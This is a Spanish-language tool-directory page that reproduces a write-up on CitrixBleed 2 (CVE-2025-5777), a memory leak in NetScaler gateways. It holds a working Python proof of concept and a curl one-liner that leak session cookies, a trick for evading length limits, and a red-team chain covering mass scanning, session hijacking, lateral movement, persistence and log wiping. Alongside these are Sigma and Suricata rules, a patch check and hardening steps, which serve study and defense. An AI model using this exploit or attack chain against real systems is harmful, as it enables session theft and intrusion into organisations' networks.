Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — Explicación detallada de CitrixBleed 2 — CVE-2025-5777 (fuga fuera de límites) PoC y kit de detección | Kitploit
Herramientas/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Herramientas DefensivasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingRespuesta a Incidentes

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Labs y Práctica
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

Explicación detallada de CitrixBleed 2 — CVE-2025-5777 (fuga fuera de límites) PoC y kit de detección

Ver Repositorio
172hace 1 añoAún no revisado

CitrixBleed 2 (CVE-2025-5777): Análisis Definitivo

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Un manual completo desde la causa raíz hasta los ejercicios de ataque y defensa


poc用法:python3 poc.py https://gateway.example.com exp用法:python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Índice

root@kitploit:~
0x00  Introducción / Resumen rápido
0x01  Contexto: Arquitectura de NetScaler y repaso de CitrixBleed 1
0x02  Descripción de la vulnerabilidad (versiones afectadas, CVSS, consecuencias de la explotación)
0x03  Análisis profundo del mecanismo de activación (análisis a nivel de código fuente y capturas de depuración)
0x04  PoC mínimo + script de escaneo avanzado
0x05  Perspectiva del equipo rojo: cadena de ataque completa (detección → fuga → secuestro de sesión → movimiento lateral en la red interna)
0x06  Perspectiva del equipo azul: detección, forensia y verificación de parches
0x07  Endurecimiento defensivo: parches, WAF, configuración, gestión de activos
0x08  Hoja de ruta de aprendizaje / repaso y laboratorios prácticos
Apéndice A  Reglas Sigma / Suricata / Nginx-Lua
Apéndice B  Cronología de parches/explotación e instantánea de IoC
Referencias

0x00 Introducción / Resumen rápido

  • CVE-2025-5777 (también conocido como CitrixBleed 2) es una lectura de memoria fuera de límites (Out-of-Bounds Memory Read) en Citrix NetScaler ADC / Gateway.
  • El atacante no necesita autenticación: basta con enviar una petición GET con una cabecera Host extremadamente larga para que el dispositivo "escupe" al cliente bloques de memoria aleatoria junto con la respuesta HTTP.
  • Los datos filtrados suelen incluir materiales críticos como cookies NSC_USER / NSC_TASS, StateContext de SAML, tokens MFA, que pueden reutilizarse directamente para realizar el secuestro de sesión y la evasión de MFA (arcticwolf.com, tenable.com).
  • Puntuación base CVSS v4 de 9.3 (Crítico) (netscaler.com).
  • Divulgado el 2025-06-17; el 2025-06-23, Citrix amplió el alcance de los productos afectados y publicó parches; en una semana, proveedores de seguridad como ReliaQuest y Bishop Fox observaron sucesivamente un aumento de la explotación en la naturaleza (reliaquest.com, bishopfox.com).

0x01 Contexto

1.1 Breve descripción del flujo de trabajo de NetScaler

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler adopta un diseño de múltiples procesos + IPC interno. WebProc se encarga de procesar la mayoría de las peticiones HTTP en la ruta AAA / Gateway, incluyendo /nf/auth/*, /oauth/*, etc. Hace un uso intensivo de snprintf() / memcpy() en lenguaje C cada vez que compone fragmentos XML/HTML.

1.2 Repaso de CitrixBleed 1 (CVE-2023-4966)

  • En 2023, una vulnerabilidad de la misma índole ocurrió en el endpoint de descubrimiento OAuth /oauth/idp/.well-known/openid-configuration.
  • Su esencia era la misma: usar el valor de retorno de snprintf como parámetro len del posterior send() → eco de memoria fuera de límites.
  • CitrixBleed 2 demuestra que el mismo tipo de defecto de codificación segura sigue latente en otras rutas.

Lección aprendida: si los parches de seguridad solo corrigen el "punto de impacto" en lugar del "paradigma de programación", se deja espacio para la "reproducción con plantillas".


0x02 Descripción de la vulnerabilidad


0x03 Análisis profundo del mecanismo de activación

Esta sección se basa en la descompilación del firmware 13.1-55.18 + depuración con gdb, recopilada a partir de blogs públicos (bishopfox.com).

3.1 Punto de entrada de la vulnerabilidad

  • URI: /nf/auth/startwebview.do
  • Parámetro controlable: cabecera HTTP Host
  • Este endpoint se utiliza para generar el XML de redirección de Citrix Workspace WebView. Ejemplo de respuesta normal:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Cadena de funciones clave

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Punto del bug: snprintf devuelve la "longitud que debería haberse escrito" en lugar de la longitud realmente escrita; si el Host proporcionado por el usuario supera 0x1800 - longitud del segmento constante, entonces length > sizeof(buf).

3.3 Representación en tiempo de ejecución

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

Demostración del punto de interrupción en GDB (registros clave):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Los resultados de read() muestran que los últimos 1600 bytes provienen de memoria no inicializada, donde se pueden apreciar buffers de cookies de otras sesiones SSL.

3.4 Categorías de datos filtrados

CategoríaFragmento de ejemplo (anonimizado)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Otros cuerpos de petición<username>audituser</username><password>***</password>

0x04 Implementación del PoC

4.1 Python en un solo archivo (15 líneas)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • Tras la ejecución, si devuelve un 200 + varios KB, se determina que la vulnerabilidad está presente.
  • Además, busca en leak.bin palabras clave como Cookie=, <AuthenticateContext>, etc.

4.2 Bash / curl en una sola línea

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass: algunos dispositivos aplican una limitación de longitud de Host en el F5 / Nginx frontal; se puede evadir concatenando múltiples subdominios, por ejemplo foo.foo.foo.…foo.example.com (repitiendo foo 3000 veces).


0x05 Perspectiva del equipo rojo: cadena de ataque completa

Caso real: ReliaQuest observó en un gateway de un cliente "una gran cantidad de peticiones con cabecera Host de más de 6 KB en un corto periodo, seguidas inmediatamente por el robo de sesiones" (reliaquest.com).


0x06 Perspectiva del equipo azul: detección, forensia y verificación de parches

6.1 Registros e IoC

FuenteIndicador
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144

6.2 Regla Sigma (versión resumida)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Script de verificación del parche

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Terminar sesiones

root@kitploit:~
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all

Nota: tras aplicar el parche, sigue siendo necesario forzar el cierre de sesión para evitar que el atacante continúe usando las cookies robadas.


0x07 Endurecimiento defensivo

  1. Parche oficial: actualizar a ≥ 14.1-43.56 / 13.1-58.32, o aplicar la versión correspondiente en los modelos FIPS/NDcPP (netscaler.com).
  2. Limitación de la longitud de la cabecera Host (medida temporal)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. Reglas adaptativas de WAF: habilitar la limitación de velocidad en las rutas /nf/auth/ y /oauth/ (p. ej., 20 req/m).
  2. Inventario de activos: las versiones EOL 12.1/13.0 nunca volverán a recibir parches oficiales; planifica su sustitución o un aislamiento estricto (support.citrix.com).
  3. Seguridad de MFA: la fuga de sesiones permite evadir el MFA → se recomienda habilitar la "firma por petición" o el "vínculo dinámico con la huella de hardware", en lugar de verificar solo en el primer inicio de sesión.

0x08 Hoja de ruta de aprendizaje / repaso


Apéndice A — Fragmentos de detección / defensa

📜 Regla Sigma completa
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Regla Suricata
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Nginx-Lua Inline Hotpatch
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Apéndice B — Cronología


Referencias

  1. Aviso de seguridad oficial de Citrix y notas del parche (netscaler.com)
  2. Arctic Wolf, «Informe técnico sobre CVE-2025-5777» (arcticwolf.com)
  3. Bishop Fox, «OOB Memory Read in NetScaler» (bishopfox.com)
  4. ReliaQuest, «Threat Spotlight: CitrixBleed 2» (reliaquest.com)
  5. FAQ de Tenable sobre CVE-2025-5777 (tenable.com)
  6. Boletín de seguridad de BleepingComputer (bleepingcomputer.com)
  7. Entrada de NVD para CVE-2025-5777 (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

Fin — Espero que este documento te ayude a comprender y afrontar CitrixBleed 2 en todos sus aspectos. Si necesitas complementarlo con más ejemplos, scripts u orientación para prácticas, ¡no dudes en seguir planteándolos!

Descargar herramienta
CampoContenido
CVECVE-2025-5777
AliasCitrixBleed 2
Tipo de vulnerabilidadLectura fuera de límites / Fuga de información
CVSS v4 Base9.3 (Crit.) (netscaler.com)
Versiones afectadas< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
Requisitos de explotaciónNetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) o servidor virtual AAA (arcticwolf.com)
Consecuencias de la explotaciónFuga de memoria → tokens de sesión → evasión de autenticación / evasión de MFA → movimiento lateral
PasoObjetivo y técnica
① Descubrimiento de activoszoomeye search "http.title:\"NetScaler Gateway\"" + Shodan, etc.; filtrar set-cookie: NSC_
② Fuga con el PoCPeticiones paralelas con scripts masivos; capturar NSC_USER= ; NSC_TASS=
③ Replay de cookiesChrome DevTools → Application → Cookies → añadir una entrada y recargar /vpn/index.html
④ Recursos de la red internaAcceder a storeweb/#home para obtener el archivo RDP; descargar el .ica e iniciar sesión directamente en la VDI
⑤ Escalada de privilegiosPassword spraying interno, Kerberoast, ADCS ESC1; o explotar SMB con contraseñas débiles en el mismo segmento de red
⑥ PersistenciaCrear una Scheduled Task; registrar scripts de autoarranque; o modificar el vDisk de NetScaler (requiere privilegios elevados y negligencia de operaciones)
⑦ Limpieza de rastrosCookie de un solo uso; eliminar los registros de auditoría (si se obtiene root de NS); o sobrescribir mediante una condición de carrera en logrotate
HTTP_ACCESS.logPeticiones a /nf/auth/startwebview.do con duración muy corta pero tamaño de respuesta anómalo (> 2 KB)
EDR/PCAPSet-Cookie: NSC_USER= presente en respuestas a peticiones que no son de inicio de sesión
FaseRecursos recomendados y acciones
TeoríaLeer los avisos de seguridad de Citrix, los FAQ de Arctic Wolf / Tenable y el análisis técnico de Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com)
LaboratorioDesplegar la versión vulnerable 13.1-55.18 (ESXi / KVM), ejecutar el PoC mínimo y capturar con Wireshark → observar el paquete de respuesta TCP PSH
ProgramaciónModificar el PoC: añadir replay automático de cookies, escaneo masivo ZTLS y colas multiproceso
Equipo azulBuscar longitudes anómalas de Host en una ventana de dos horas; usar Sigma → Elastic/Graylog; reproducir y validar las políticas de WAF
CompartirEscribir un blog o crear un mapa mental que resuma "las trampas del uso de snprintf"
Fecha (2025)Evento
06-17Citrix publica inicialmente el aviso de CVE-2025-5777 (netscaler.com)
06-18Bishop Fox publica el primer análisis técnico y el PoC (bishopfox.com)
06-23Citrix actualiza el alcance de los productos afectados y las versiones con parche; CISA lo añade al KEV
06-25ReliaQuest informa de explotación activa; grupos de amenazas están robando sesiones de forma masiva (reliaquest.com)
06-27BleepingComputer informa de que "posiblemente ya se ha explotado a gran escala" (bleepingcomputer.com)
06-28Aparecen múltiples PoCs en GitHub; Tenable publica un FAQ (tenable.com)